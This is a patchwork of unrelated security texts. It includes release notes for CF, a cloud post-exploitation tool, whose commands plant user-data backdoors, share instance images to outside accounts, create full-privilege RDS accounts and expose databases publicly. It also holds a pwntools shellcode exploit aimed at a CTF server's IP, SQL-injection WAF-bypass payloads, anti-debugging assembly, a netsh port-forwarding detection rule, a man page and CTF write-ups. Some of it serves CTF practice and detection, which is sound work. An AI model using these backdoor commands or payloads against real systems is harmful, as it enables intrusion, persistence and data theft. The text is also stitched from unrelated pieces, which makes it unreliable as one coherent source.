--- title: 0.5.0 版本更新描述 --- <center><h1>CF 云环境利用框架现已更新至 0.5.0 版本</h1></center> CF 是一个云环境利用框架,主要拿来进行云访问凭证的后利用,助力云上攻防。 CF 于 2022 年 7 月 1 日发布,今天正好是该工具发布的一周年,现在 CF 已有近 2k Stars,今天 CF 更新到了 0.5.0 版本,这里介绍下这个版本所更新的内容。 CF 项目地址:[github.com/teamssix/cf](https://github.com/teamssix/cf) CF 使用手册:[wiki.teamssix.com/cf](https://wiki.teamssix.com/cf) ## 新增功能 ### 1. 新增阿里云用户数据后门功能 由于在实例启动时,会执行用户数据中的内容,因此通过往用户数据中写入文件,可以起到后门的作用。 现在使用以下命令,就可以修改实例中的用户数据,这样当实例重启时就会执行该命令了。 ```bash cf alibaba ecs exec --userDataBackdoor "whoami" ``` <img width="900" src="/img/1688136553.png"> ### 2. 新增阿里云镜像共享功能 通过镜像共享功能,可以将当前实例的镜像共享给其他的阿里云账号,这样当其他的阿里云账号下使用这个共享镜像创建实例的时候,就能看到目标实例中的数据了。 使用以下命令进行创建共享镜像,-a 参数用来指定要共享给的阿里云账号。 ```bash cf alibaba ecs imageShare -a <account_id> ``` <img width="900" src="/img/1688136975.png"> 使用以下命令,可以列出当前已共享的镜像。 ```bash cf alibaba ecs imageShare ls ``` <img width="900" src="/img/1688137015.png"> 使用以下命令即可取消共享镜像。 ```bash cf alibaba ecs imageShare cancel ``` <img width="900" src="/img/1688137294.png"> ### 3. 新增阿里云接管控制台时自动创建 AK 功能 在接管云平台时,如果加上 -a 参数,CF 除了会自动创建用于登录控制台的子账号外,还会自动创建这个子账号的访问凭证。 ```bash cf alibaba console -a ``` <img width="900" src="/img/1688137351.png"> ### 4. 新增阿里云 RDS 列出详细信息功能 在列出数据库实例时加上 -a 命令,会列出数据库实例的详细信息。 ```ba sh cf alibaba rds ls -a ``` <img width="700" src="/img/1688137398.png"> ### 5. 新增阿里云 RDS 添加账号功能 使用以下命令为 RDS 添加账号。 ``` cf alibaba rds account ``` 默认会创建 crossfire 用户,且赋予所有权限,也可以使用 -u 指定其他用户名。 加上 ls 查看已经创建的账号。 ``` cf alibaba rds account ls ``` 加上 del 删除已经创建的账号。 ``` cf alibaba rds account del ``` <img width="800" src="/img/1688137422.png"> ### 6. 新增阿里云 RDS 创建公网访问地址的功能 使用以下命令为 RDS 启用公开访问。 ``` cf alibaba rds public ``` 加上 ls 列出配置过的公开访问信息。 ``` cf alibaba rds public ls ``` 加上 cancel 取消公开访问。 ``` cf alibaba rds public cancel ``` <img width="900" src="/img/1688137445.png"> ### 7. 新增阿里云 RDS 添加白名单的功能 使用以下命令为数据库添加白名单,-w 参数指定 CIDR 地址或者单个 IP 地址。 ``` cf alibaba rds whiteList -w <ip> ``` 加上 ls 列出之前添加过的白名单信息。 ``` cf alibaba rds whiteList ls ``` 加上 del 删除之前添加过的白名单信息。 ``` cf alibaba rds whiteList del ``` <img width="900" src="/img/1688137471.png"> ### 8. 新增查询 AK 所属云厂商功能 使用以下命令即可轻松判断 AK 所属云厂商,目前该功能已支持腾讯云、阿里云、AWS、华为云、百度云、火山引擎、金山云、京东云、GCP、七牛云、UCloud 的 AK 识别。 ``` cf config query -a <your_access_key_id> ``` <img width="900" src="/img/1688137494.png"> -a 参数用来指定 Access Key Id,该参数是必填的,当只填该参数时会仅通过正则判断所属云厂商。 如果加上了 -s 参数指定 Secret Access Key ,或者同时加上了 -t 参数指定 Session Token ,则除了会调用正则外,还会调用相关接口用来判断 AK 是否可用,从而能更准确的判断 AK 所属厂商。 ### 9. 新增支持 brew 安装 对于 Mac、Linux 用户而言,现在可以直接使用 HomeBrew 来安装 CF 了,非常方便。 ``` brew tap teamssix/tap brew install teamssix/tap/cf ``` <img width="900" src="/img/1688144981.png"> ## 功能优化 1. 优化配置功能,现在能自动识别配置是否处于可用状态 2. 优化实例公网 IP 展示,不存在时会展示为空 3. 优化 OSS 下载功能,现在默认会下载所有文件 4. 优化更新处理逻辑 5. 优化华为云 OBS 列出功能 ## Bug 修复 1. 修复批量执行命令时,没有安装云助手导致批量执行中断的 Bug 2. 修复 OSS 下载文件无法自动创建目录的 Bug ## 贡献者 在本次更新中,收到来自 shadowabi、Kfzz1 两位师傅的 PR,感谢两位师傅。 其中,尤其感谢 shadowabi 师傅,本次更新中的用户数据后门、镜像共享、自动创建 AK 和 RDS 的相关利用等功能的核心代码均由 shadowabi 师傅提交。 以下是曾经为 CF 提交过 PR 的师傅们,感谢各位师傅。 <img width="900" src="/img/1688137526.png"> <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2023 年 7 月 1 日" } } </script>
sec-knowleage
# Easy1 Cryptography, 100 points ## Description: > The one time pad can be cryptographically secure, but not when you know the key. Can you solve this? We've given you the encrypted flag, key, and a table to help UFJKXQZQUNB with the key of SOLVECRYPTO. Can you use this table to solve it? ``` A B C D E F G H I J K L M N O P Q R S T U V W X Y Z +---------------------------------------------------- A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z B | B C D E F G H I J K L M N O P Q R S T U V W X Y Z A C | C D E F G H I J K L M N O P Q R S T U V W X Y Z A B D | D E F G H I J K L M N O P Q R S T U V W X Y Z A B C E | E F G H I J K L M N O P Q R S T U V W X Y Z A B C D F | F G H I J K L M N O P Q R S T U V W X Y Z A B C D E G | G H I J K L M N O P Q R S T U V W X Y Z A B C D E F H | H I J K L M N O P Q R S T U V W X Y Z A B C D E F G I | I J K L M N O P Q R S T U V W X Y Z A B C D E F G H J | J K L M N O P Q R S T U V W X Y Z A B C D E F G H I K | K L M N O P Q R S T U V W X Y Z A B C D E F G H I J L | L M N O P Q R S T U V W X Y Z A B C D E F G H I J K M | M N O P Q R S T U V W X Y Z A B C D E F G H I J K L N | N O P Q R S T U V W X Y Z A B C D E F G H I J K L M O | O P Q R S T U V W X Y Z A B C D E F G H I J K L M N P | P Q R S T U V W X Y Z A B C D E F G H I J K L M N O Q | Q R S T U V W X Y Z A B C D E F G H I J K L M N O P R | R S T U V W X Y Z A B C D E F G H I J K L M N O P Q S | S T U V W X Y Z A B C D E F G H I J K L M N O P Q R T | T U V W X Y Z A B C D E F G H I J K L M N O P Q R S U | U V W X Y Z A B C D E F G H I J K L M N O P Q R S T V | V W X Y Z A B C D E F G H I J K L M N O P Q R S T U W | W X Y Z A B C D E F G H I J K L M N O P Q R S T U V X | X Y Z A B C D E F G H I J K L M N O P Q R S T U V W Y | Y Z A B C D E F G H I J K L M N O P Q R S T U V W X Z | Z A B C D E F G H I J K L M N O P Q R S T U V W X Y ``` ## Solution: This is a classic [Vigenère cipher](https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher). It's easily solvable using any online decoder, such as [Cyberchef](https://gchq.github.io/CyberChef/#recipe=Vigen%C3%A8re_Decode('SOLVECRYPTO')&input=VUZKS1hRWlFVTkI). In order to decode the message manually, we use the following algorithm: * For each letter in the key: * Find the row corresponding the the letter * In the row, find the column which contains the matching ciphertext letter * The matching plaintext letter is noted at the top of the column In our case, the plaintext is `CRYPTOISFUN`.
sec-knowleage
.\"Generated by db2man.xsl. Don't modify this, modify the source. .de Sh \" Subsection .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Ip \" List item .br .ie \\n(.$>=3 .ne \\$3 .el .ne 3 .IP "\\$1" \\$2 .. .TH "SMBPASSWD" 8 "" "" "" .SH NAME smbpasswd \- 改变用户的SMB口令 .SH "总览 SYNOPSIS" \fBsmbpasswd\fR [-a] [-x] [-d] [-e] [-D debuglevel] [-n] [-r <remote machine>] [-R <name resolve order>] [-m] [-U username[%password]] [-h] [-s] [-w pass] [-i] [-L] [username] .SH "描述 DESCRIPTION" .PP 此程序是\fBSamba\fR(7)套件的一部分。 .PP smbpasswd程序有几个不太一样的功能,这取决于它被\fBroot\fR账号还是其它账号来使用。当普通用户运行它时,用户可以通过SMB会话在任何保存SMB口令的机器上改变他们的口令。 .PP 默认情况下(不带参数运行)它会尝试在本地改变当前用户的SMB口令。这和\fBpasswd\fR(1)程序的工作方式类似。不过,\fB smbpasswd\fR和具有\fBsetuid root\fR 特性的passwd还是不一样的,它工作在客户机-服务器模式, 并且与本地运行中的\fBsmbd\fR(8)通信。为了运行成功,smbd守护程序必须正在本地主机上运行。在UNIX主机上通常用\fBsmbpasswd\fR(5) 来存放SMB的加密口令。 .PP 当普通用户不带选项来运行这个程序时,smbpasswd会向他们提示输入原SMB口令并询问所需的新口令两次,来确保输入正确. 输入时屏幕并不回显。如果你用了一个空SMB口令(在smbpasswd文件中会指定字串“NO PASSWORD”)的话,在程序提示输入原口令时可以直接输入<Enter>键。 .PP 普通用户也可以在远程主机(例如Windows NT主域控制器)上用smbpasswd来改他们的SMB口令。详细情况请参见以下的(\fI-r\fR)和\fI-U\fR两个选项。 .PP 当root运行这个程序时,smbpasswd可以在smbpasswd文件中增删用户,也可以改变用户属性。这时,\fB smbpasswd\fR 会直接访问本地smbpasswd文件,即使smbd并没有在运行时也可以。 .SH "选项 OPTIONS" .TP -a 在这个选项后跟上用户名用来实现在本地smbpasswd文件中增加用户,并且同时设置口令(提示原口令时用<Enter>)。如果smbpasswd文件中已经存在了这个用户时,命令就变成通常的修改口令模式。注意,默认的passdb后端要求所要加入的SMB用户必须是系统口令文件中(通常是\fI/etc/passwd\fR)已经存在的用户否则加入操作将会失败。 只有root运行smbpasswd程序时才可以使用这个选项。 .TP -x This option specifies that the username following should be deleted from the local smbpasswd file\&. This option is only available when running smbpasswd as root\&. .TP -d 这个选项后跟用户名用来\fB禁止\fR存在于smbpasswd文件中的这个账号。通过在smbpasswd文件的账号控制部分写入 \fB'D'\fR标志来实现这个功能。一旦账号被禁止,所有使用这个账号作SMB身份验证的尝试都将失败。 如果smbpasswd文件还是旧格式的话(比如Samba 2.0之前版本),在用户口令项中没有这样的账号控制部分可以作任何标志,这个命令会*失败*。关于口令文件的新格式和旧格式细节可以参见\fBsmbpasswd\fR(5) 。 只有root运行smbpasswd程序时才可以使用这个选项。 .TP -e 这个选项后跟用户名用来在本地smbpasswd文件中的这个账号被禁止时重新\fB允许\fR使用。如果账号并未被禁止的话,使用这个选项不会有什么结果。被允许的账号将可以通过SMB的身份验证。 使用老格式的口令文件时,\fB smbpasswd\fR 将运行失败。关于口令文件的新格式和旧格式细节可以参见\fBsmbpasswd\fR(5)。 只有root运行smbpasswd程序时才可以使用这个选项。 .TP -D debuglevel \fIdebuglevel\fR 是一个从0到10的整数。如果没有指定此参数则默认的值是0。 如果这个值越高,越多关于smbpasswd的详细活动信息将被记录到文件中。在0调试级时,只记录紧急错误和严重警告。 1以上的调试级将产生相当多的记录数据,并且只在解决问题时才有用。3以上的调试级只被设计为让开发者使用并会产生极大数量的记录数据,而且其中很多部分非常难以理解。 .TP -n 用这个选项后跟用户名来把这个账号的口令设为空(也就是没有口令)。程序会把本地smbpasswd文件中该口令项的第一部分改为“NO PASSWORD”。 注意如果设置了"NO PASSWORD"之后,要允许用户以空口令登录到Samba服务器,管理员必须在\fIsmb.conf\fR配置文件的[global]段中设置以下的参数: \fBnull passwords = yes\fR 只有root运行smbpasswd程序时才可以使用这个选项。 .TP -r remote machine name 使用这个选项来让用户指定他们所希望改变口令的主机,不用此参数时默认对本地更改口令。SMB/CIFS服务器会试图联接以\fIremote machine name\fR作为NetBIOS名字的主机以更改口令。Samba套件中的所有程序都使用标准的名字解析机制来把这样的名字转换成IP地址。参见\fI-R name resolve order\fR参数来获得改变解析机制的详细信息。 用这个选项更改密码的账号就是当前登录UNIX的账号。要改变其它帐号的密码可以参见\fI-U username\fR参数。 注意,如果要改变一个NT域账号,指定的远程主机必须是域中的主域控制器,因为备份域控制器只维护用户账号数据库的只读复本,而不能更改。 \fB注意\fR的是Windows 95/98实际根本没有口令数据库,所以不可能更改远程Win95/98主机上的口令 .TP -R name resolve order 用这个选项来让使用smbclient的用户在查询主机NetBIOS名字用于联接时,决定使用怎样的名字解析服务。 这些名字解析选项是:"lmhosts","host","wins"和"bcast".它们决定了名字解析是以如下方式的: \fBlmhosts\fR : 在samba的lmhosts文件中查找IP地址.如果lmhosts文件的内容行中没有名字类型附加在NetBIOS名上时(参见\fBlmhosts\fR (5)中的详细描述),任何类型的名字都可以匹配这个查询. \fBhost\fR : 执行标准的主机名到IP地址的解析操作,此操作会使用系统的\fI/etc/hosts\fR,NIS或者是DNS来查询.具体方法取决于操作系统,在IRIX和Solaris中解析名字的方法可能是由\fI/etc/nsswitch.conf\fR文件来控制的.注意此方法只适用于对被查询的NetBIOS名字类型为0x20(服务器)时才有用,其它类型都会被忽略. \fBwins\fR : 向列在\fIwins server\fR选项中的服务器查询一个名字对应的IP地址.如果没有指定WINS服务器,那么此方法就被略过了. \fBbcast\fR : 向在\fIinterfaces\fR选项中列出的每一个已知本地网络接口进行广播来作查询.这是最不可信的名字解析方法,除非目标主机就在本地子网中. 默认的顺序是 \fBlmhosts, host, wins, bcast\fR。如果没有这个参数,\fBsmb.conf\fR(5) 文件中也没有选项,将尝试这个顺序的名字解析。 .TP -m 这个选项来把账号改为一个MACHINE账号。通常当Samba作为Windows NT主域控制器的时候可以使用它。 只有root运行smbpasswd程序时才可以使用这个选项。 .TP -U username 这个选项只能和 \fI-r\fR选项联合使用。当从远程主机更改口令时,用它来允许用户指定要改变的远程主机口令的用户账号。这使得在不同的系统上使用不同的账号的用户可以口令。 .TP -h 使用这个选项可以打印出\fB smbpasswd\fR的帮助信息,注意选择正确的帮助: root用户和普通用户使用的。 .TP -s 使用这个选项会使smbpasswd保持安静(不发出提示),在标准输入上读取原口令和新口令。而不是从\fI/dev/tty\fR上读口令(象\fBpasswd\fR(1)那样)。使用脚本来处理smbpasswd时可以用它。 .TP -w password This parameter is only available if Samba has been configured to use the experimental \fB--with-ldapsam\fR option\&. The \fI-w\fR switch is used to specify the password to be used with the \fIldap admin dn\fR\&. Note that the password is stored in the \fIsecrets\&.tdb\fR and is keyed off of the admin's DN\&. This means that if the value of \fIldap admin dn\fR ever changes, the password will need to be manually updated as well\&. .TP -i This option tells smbpasswd that the account being changed is an interdomain trust account\&. Currently this is used when Samba is being used as an NT Primary Domain Controller\&. The account contains the info about another trusted domain\&. This option is only available when running smbpasswd as root\&. .TP -L Run in local mode\&. .TP username This specifies the username for all of the \fBroot only\fR options to operate on\&. Only root can specify this parameter as only root has the permission needed to modify attributes directly in the local smbpasswd file\&. .SH "注意 NOTES" .PP 由于非root用户是以客户机-服务器模式运行\fBsmbpasswd\fR与本地smbd通信,因此smbd守护程序必须在运行状态。通常会出现的一个问题是在对可以连接到本地运行的smbd的主机进行限制的时候,通过在\fBsmb.conf\fR(5) 配置文件中指定\fIallow hosts\fR或者\fIdeny hosts\fR参数但是忘记了允许“localhost”对smbd进行连接。 .PP 另外smbpasswd命令只有在已经把samba设成使用加密口令时才能发挥作用。 .SH "版本 VERSION" .PP 此手册页是针对samba套件版本3.0的。 .SH "参见 SEE ALSO" .PP \fBsmbpasswd\fR(5), \fBSamba\fR(7)\&. .SH "作者 AUTHOR" .PP samba软件和相关工具最初由Andrew Tridgell创建。samba现在由Samba Team 作为开源软件来发展,类似linux内核的开发方式。 .PP 最初的samba手册页是 Karl Auer写的。 手册页源码已经转换为YODL格式(另一种很好的开源软件,可以在ftp://ftp.ice.rug.nl/pub/unix找到),由Jeremy Sllison 更新到Samba2.0 版本。 Gerald Carter 在Samba2.2中将它转化为DocBook 格式。 Alexander Bokovoy 在Samba 3.0中实现了DocBook XML4.2 格式的转换。 .SH "[中文版维护人]" .B meaculpa <meaculpa@21cn.com> .SH "[中文版最新更新]" .B 2000/12/08 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
### The Heap概述 堆在初始化时, 会检查`heap flags`, 并视一些标志位的有无设置而对环境作出额外的改变. 像`Themida`就有采用这种方法来检测调试器. 比如: * 如果设置了`HEAP_TAIL_CHECKING_ENABLED`标志(见`Heap Flags`节), 那么在32位windows中就会在分配的堆块尾部附加2个`0xABABABAB`(64位环境就是4个). * 如果设置了`HEAP_FREE_CHECKING_ENABLED`(见`Heap Flags`节)标志, 那么当需要额外的字节来填充堆块尾部时, 就会使用`0xFEEEFEEE`(或一部分)来填充 那么, 一种新的检测调试器的方法就是来检查这些值. ### The Heap堆指针已知场景介绍 如果已知一个堆指针, 那么我们可以直接检查堆块里的数据. 然而在`Windows Vista`及更高版本中采用了堆保护机制(32位/64位都有), 使用了一个异或密钥来对堆块大小进行了加密. 虽然你可以选择是否使用密钥, 但是默认是使用的. 而且就堆块首部的位置, 在`Windows NT/2000/XP`和`Windows Vista及更高版本`之间也是不相同的. 因此我们还需要将`Windows版本`也考虑在内. 可以使用以下32位代码来检测32位环境: ``` asm xor ebx, ebx call GetVersion cmp al, 6 sbb ebp, ebp jb l1 ;Process Environment Block mov eax, fs:[ebx+30h] mov eax, [eax+18h] ;get process heap base mov ecx, [eax+24h] ;check for protected heap jecxz l1 mov ecx, [ecx] test [eax+4ch], ecx cmovne ebx, [eax+50h] ;conditionally get heap key l1: mov eax, <heap ptr> movzx edx, w [eax-8] ;size xor dx, bx movzx ecx, b [eax+ebp-1] ;overhead sub eax, ecx lea edi, [edx*8+eax] mov al, 0abh mov cl, 8 repe scasb je being_debugged ``` 或使用以下64位代码检测64位环境: ``` xor ebx, ebx call GetVersion cmp al, 6 sbb rbp, rbp jb l1 ;Process Environment Block mov rax, gs:[rbx+60h] mov eax, [rax+30h] ;get process heap base mov ecx, [rax+40h] ;check for protected heap jrcxz l1 mov ecx, [rcx+8] test [rax+7ch], ecx cmovne ebx, [rax+88h] ;conditionally get heap key l1: mov eax, <heap ptr> movzx edx, w [rax-8] ;size xor dx, bx add edx, edx movzx ecx, b [rax+rbp-1] ;overhead sub eax, ecx lea edi, [rdx*8+rax] mov al, 0abh mov cl, 10h repe scasb je being_debugged ``` 这里没有使用32位代码检测64位环境的样例, 因为64位的堆无法由32位的堆函数解析. ### The Heap堆指针未知场景介绍 如果无法得知堆指针, 我们可以使用`kernel32`的`HeapWalk()`函数或`ntdll`的`RtlWalkHeap()`函数(或甚至是`kernel32`的`GetCommandLine()`函数). 返回的堆大小的值会被自动解密, 因此就不需要再关心windows的版本 可以使用以下32位代码来检测32位环境: ``` asm mov ebx, offset l2 ;get a pointer to a heap block l1: push ebx mov eax, fs:[30h] ;Process Environment Block push d [eax+18h] ;save process heap base call HeapWalk cmp w [ebx+0ah], 4 ;find allocated block jne l1 mov edi, [ebx] ;data pointer add edi, [ebx+4] ;data size mov al, 0abh push 8 pop ecx repe scasb je being_debugged ... l2: db 1ch dup (0) ;sizeof(PROCESS_HEAP_ENTRY) ``` 或使用以下64位代码检测64位环境: ``` asm mov rbx, offset l2 ;get a pointer to a heap block l1: push rbx pop rdx push 60h pop rsi gs:lodsq ;Process Environment Block ;get a pointer to process heap base mov ecx, [rax+30h] call HeapWalk cmp w [rbx+0eh], 4 ;find allocated block jne l1 mov edi, [rbx] ;data pointer add edi, [rbx+8] ;data size mov al, 0abh push 10h pop rcx repe scasb je being_debugged ... l2: db 28h dup (0) ;sizeof(PROCESS_HEAP_ENTRY) ``` 这里没有使用32位代码检测64位环境的样例, 因为64位的堆无法由32位的堆函数解析.
sec-knowleage
#!/usr/bin/python2 from pwn import * import cipher def exploit(connection): ciphertext = 0x8F1FA1AD36C66F95, 0xC96AAC2F35C3833F key = 0x70697A7A6174716C, 0x6C7174617A7A6970 plaintext = cipher.decrypt(key, ciphertext) payload = """ /* * std::string key("YouMadeAFIDLCall"); * std::string value; * client->SecretStorageGetFlag1(key, &value); * puts(value.ptr); * exit(0); */ mov rbx, [rsp] /* from call */ sub rbx, 0x7205 /* caidanti image base */ push 0 /* allocate value object */ push 0 push 0 lea rdx, [rsp] /* = &value */ lea rsi, [rip + key] /* = key */ mov rdi, [rbx + 0x12140] /* = client */ mov rax, [rdi] call [rax + 0x38] /* client->SecretStorageGetFlag1 */ mov rdi, [rsp] /* = value.ptr */ call [rbx + 0x120a8] /* puts */ xor rdi, rdi call [rbx + 0x12028] /* exit */ .balign 0x10 key: .quad {plaintext[0]}, {plaintext[1]} .fill 7, 1, 0 .byte 0x10 """ payload_binary = asm(payload.format(plaintext=plaintext)) # application command to execute arbitrary shellcode connection.recvuntil("114514. Bring your own C\xc3\xa0i D\xc4\x81n T\xc3\xad\n") connection.send("114514\n") connection.recvuntil("Your code size: ") connection.send("{:d}\n".format(len(payload_binary))) connection.send(payload_binary) flag = connection.recvuntil("}") info("flag = \"{:s}\"".format(flag)) context.log_level = "debug" context.arch = "amd64" with remote("54.177.17.135", 23333) as connection: exploit(connection)
sec-knowleage
# T1090-001-win-链接代理 ## 来自ATT&CK的描述 攻击者可以使用连接代理在系统之间定向网络流量,或者充当与命令和控制服务器进行网络通信的中介,以避免直接连接至其基础结构。存在许多启用代理或端口重定向的流量重定向的工具,包括HTRAN,ZXProxy和ZXPortMap。攻击者使用这些类型的代理来管理命令和控制通信,减少同时出站网络连接的数量,面对连接丢失时提供弹性或在受害者之间越过现有的受信任通信路径以避免怀疑。 外部连接代理用于掩盖C2流量的目的地,通常使用端口重定向器实现。受害环境之外的受损系统以及已购买的基础结构(如基于云的资源或虚拟专用服务器)都可以用于这些目的。可以基于对从受感染系统到代理的连接进行调查的可能性很小的可能性来选择代理。受害者系统将直接与Internet上的外部代理进行通信,然后该代理会将通信转发到C2服务器。 内部连接代理可用于合并来自受感染系统的内部连接。攻击者可能使用受损的内部系统作为代理,以隐藏C2流量的真实目的地。代理可以将流量从网络内部的受感染系统重定向到外部C2服务器,从而难以发现恶意流量。另外,该网络可用于将信息从一个系统中继到另一个系统,以避免将流量广播到所有系统。 ## 测试案例 本案例主要模拟windows利用netsh进行端口转发。 ## 检测日志 windows安全日志 ## 测试复现 ![test](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/Q0VTeI.png) ## 测试留痕 事件ID,进程,命令行参数等信息。 ## 检测规则/思路 ### sigma规则 ```yml title: netsh端口转发 description: windows server 2016 tags: T1090-001 status: experimental author: 12306Bro logsource: product: windows service: security detection: selection: EventID: 4688 #已创建新的进程。 Newprocessname: 'C:\Windows\System32\netsh.exe' #新进程名称 Creatorprocessname: 'C:\Windows\System32\cmd.exe' #创建者进程名称 Processcommandline: "netsh interface portproxy add v4tov4 *" #进程命令行参数 condition: selection level: medium ``` ### 建议 低版本操作系统无法记录命令行参数及子父进程,建议通过Sysmon进行监控。 ## 参考推荐 MITRE-ATT&CK-T1090-001 <https://attack.mitre.org/techniques/T1090/001> 如何在Windows中使用netsh命令进行端口转发 <https://www.freebuf.com/articles/system/176889.html>
sec-knowleage
# State agency (Web) We get access to a webpage for reporting security vulnerabilities. It seems basically nothing there works, apart from reading two existing reports. Once we click on them we get a link with same GET parameters (which are ignored), but the interesting part is that the link is for example `http://5889.state-agency.tux.ro/` where `5589` is the ID of article we want to read. If we change it to some random value we get information that our SQL is wrong. Upon further inspection we figure out that in reality we simply need to change `Host` header to manipulate this value. We guessed that there will be some SQL injection via the ID, but it seemed a lot of stuff was blacklisted by internal WAF and not knowing the query layout made this hard. Eventually we managed to get some working injections. Initally a blind one, based on 1 or 2 articles in the result, but eventually we noticed that `union select` is not blacklisted in WAF, so we could get a full echo of the query. We could use the payload: `5880') union select 1,2,3,4,5 -- a` to get the union result. The problem was that the injection point we had was already after the condition to select only the "public" vulnerabilities, and we could not change this condition any more. We needed to make a new query using `union select`, but we don't know the table name. The `information schema` was blacklisted in WAF, so were any other useful things. Finally we found out that `procedure analyse` is not in the blacklist! We could then send `5880') procedure analyse() -- a` and get back information that we're interested in the table `agency.articles` and the column most likely `content`. But when sending `5880') union select 1,2,3,4,content from articles -- a` we get back `Private data exfiltration attempt blocked` so it seems the WAF checks if flag is in the response. But this is not a problem, we can do: `5880') union select 1,2,3,4,to_base64(content) from articles -- a` to encode the flag and bypass the WAF. Whole solver [here](sql.py)
sec-knowleage
# Fix Me if You Can Category: Misc., 50 Points ## Description > Fix me if you can and you will be half way to find the flag. > > Good Luck! A `*.doc` was attached. ## Solution The attached file has a `*.doc` extension, but `file` doesn't recognize it as a Word document: ```console root@kali:/media/sf_CTFs/checkpoint/Fix_Me_if_You_Can# file Fix_me.doc Fix_me.doc: data ``` Microsoft Word fails to open it as well. As the old saying goes, we can do this the easy way, or we can do this the hard way. ## The Hard Way In this path, we'll attempt to fix the file. We'll need to work with the file specs. A good place to start is to try and understand why `file` doesn't recognize it as a Word file. `file` works with magic file signature, so we should start by trying to identify the signature `file` looks for in `doc` files. From a quick search we find that: > Microsoft Word documents of version 97-2003 use the OLE Compound File (OLECF). These files therefore have the OLECF file signature. ([Source](https://forensicswiki.xyz/wiki/index.php?title=Word_Document_(DOC))) We continue by searching for the OLECF file signature ([Source](https://forensicswiki.xyz/wiki/index.php?title=OLE_Compound_File)): > The OLECF has the following file signature (as a hexadecimal byte sequence): > > `d0 cf 11 e0 a1 b1 1a e1` Let's compare to what we have: ```console root@kali:/media/sf_CTFs/checkpoint/Fix_Me_if_You_Can# xxd -g 1 -l 8 Fix_me.doc 00000000: d0 cf 11 e0 a1 b1 1a 1e ........ ``` Similar, but not identical. The last byte is `0x1e`, but it should be `0xe1`. Let's fix it: ```console root@kali:/media/sf_CTFs/checkpoint/Fix_Me_if_You_Can# cp Fix_me.doc Fixed_me.doc root@kali:/media/sf_CTFs/checkpoint/Fix_Me_if_You_Can# printf '\xe1' | dd conv=notrunc of=Fixed_me.doc bs=1 seek=7 1+0 records in 1+0 records out 1 byte copied, 0.00159627 s, 0.6 kB/s root@kali:/media/sf_CTFs/checkpoint/Fix_Me_if_You_Can# xxd -g 1 -l 8 Fixed_me.doc 00000000: d0 cf 11 e0 a1 b1 1a e1 ........ root@kali:/media/sf_CTFs/checkpoint/Fix_Me_if_You_Can# file Fixed_me.doc Fixed_me.doc: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Title: Word Template, Author: Kobi Eisenkraft, Template: Normal.dotm, Last Saved By: Kobi Eisenkraft, Revision Number: 6, Name of Creating Application: Microsoft Office Word, Total Editing Time: 30:00, Last Printed: Sat Jan 30 01:17:00 2010, Create Time/Date: Sun Apr 12 23:28:00 2020, Last Saved Time/Date: Wed Apr 29 21:31:00 2020, Number of Pages: 1, Number of Words: 256, Number of Characters: 1460, Security: 0 ``` In our case, this was enough to fix the document, and we can now open it with Word. It contains some text and an image. ## The Easy Way In this path, we'll just attempt to extract any data we can from the file without really fixing it. Using `strings`, we can extract some text from the file: ```console root@kali:/media/sf_CTFs/checkpoint/Fix_Me_if_You_Can# strings Fix_me.doc bjbjj Hello, R U looking for the flag? (-: You probably succeeded to fix me, now you should find me. I hope U R in the right direction, keep going Good Luck! Maybe she will help ``` Using `foremost`, we can extract any embedded files: ```console root@kali:/media/sf_CTFs/checkpoint/Fix_Me_if_You_Can# foremost Fix_me.doc Processing: Fix_me.doc root@kali:/media/sf_CTFs/checkpoint/Fix_Me_if_You_Can# cat output/audit.txt Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus Audit File Foremost started at Fri May 8 13:44:10 2020 Invocation: foremost Fix_me.doc Output directory: /media/sf_CTFs/checkpoint/Fix_Me_if_You_Can/output Configuration file: /etc/foremost.conf ------------------------------------------------------------------ File: Fix_me.doc Start: Fri May 8 13:44:10 2020 Length: 87 KB (89088 bytes) Num Name (bs=512) Size File Offset Comment 0: 00000125.zip 18 KB 64242 1: 00000067.png 19 KB 34401 (105 x 160) 2: 00000106.png 156 B 54519 (15 x 15) Finish: Fri May 8 13:44:10 2020 3 FILES EXTRACTED zip:= 1 png:= 2 ------------------------------------------------------------------ Foremost finished at Fri May 8 13:44:10 2020 ``` We were able to extract the same information as in the hard way in a fraction of the time. ## Analyzing the Image Let's take a look at the image: ![](images/00000067.png) Who is this? [Google Images Reverse Search](https://images.google.com) tells us that this is [Velvalee Dickinson](https://en.wikipedia.org/wiki/Velvalee_Dickinson): > Velvalee Dickinson (October 12, 1893 – ca 1980), was convicted of espionage against the United States on behalf of Japan during World War II. Known as the "Doll Woman", she used her business in New York City to send information on the United States Navy to contacts in Argentina via steganographic messages. This is a very thick hint that we should be looking for Steganography. Let's run `zsteg` on the image: ```console root@kali:/media/sf_CTFs/checkpoint/Fix_Me_if_You_Can# zsteg output/png/00000067.png imagedata .. text: "+++444***" b1,rgb,lsb,xy .. text: "48:UTFOQmUxTjBNemxoVGpCZklXNWZaREJqWHpGelgwNHhZek45" b2,rgb,msb,xy .. text: "jUUUUUUUUUUU" b2,bgr,msb,xy .. text: "jUUUUUUUUUUU" b4,r,msb,xy .. text: "{wwwwwww" b4,g,msb,xy .. text: "{wwwwwww" b4,b,msb,xy .. file: MPEG ADTS, layer I, v2, 112 kbps, 24 kHz, JntStereo ``` The second string looks like Base64: ```console root@kali:/media/sf_CTFs/checkpoint/Fix_Me_if_You_Can# echo "UTFOQmUxTjBNemxoVGpCZklXNWZaREJqWHpGelgwNHhZek45" | base64 -d && echo Q1NBe1N0MzlhTjBfIW5fZDBjXzFzX04xYzN9 root@kali:/media/sf_CTFs/checkpoint/Fix_Me_if_You_Can# echo "UTFOQmUxTjBNemxoVGpCZklXNWZaREJqWHpGelgwNHhZek45" | base64 -d | base64 -d && echo CSA{St39aN0_!n_d0c_1s_N1c3} ```
sec-knowleage
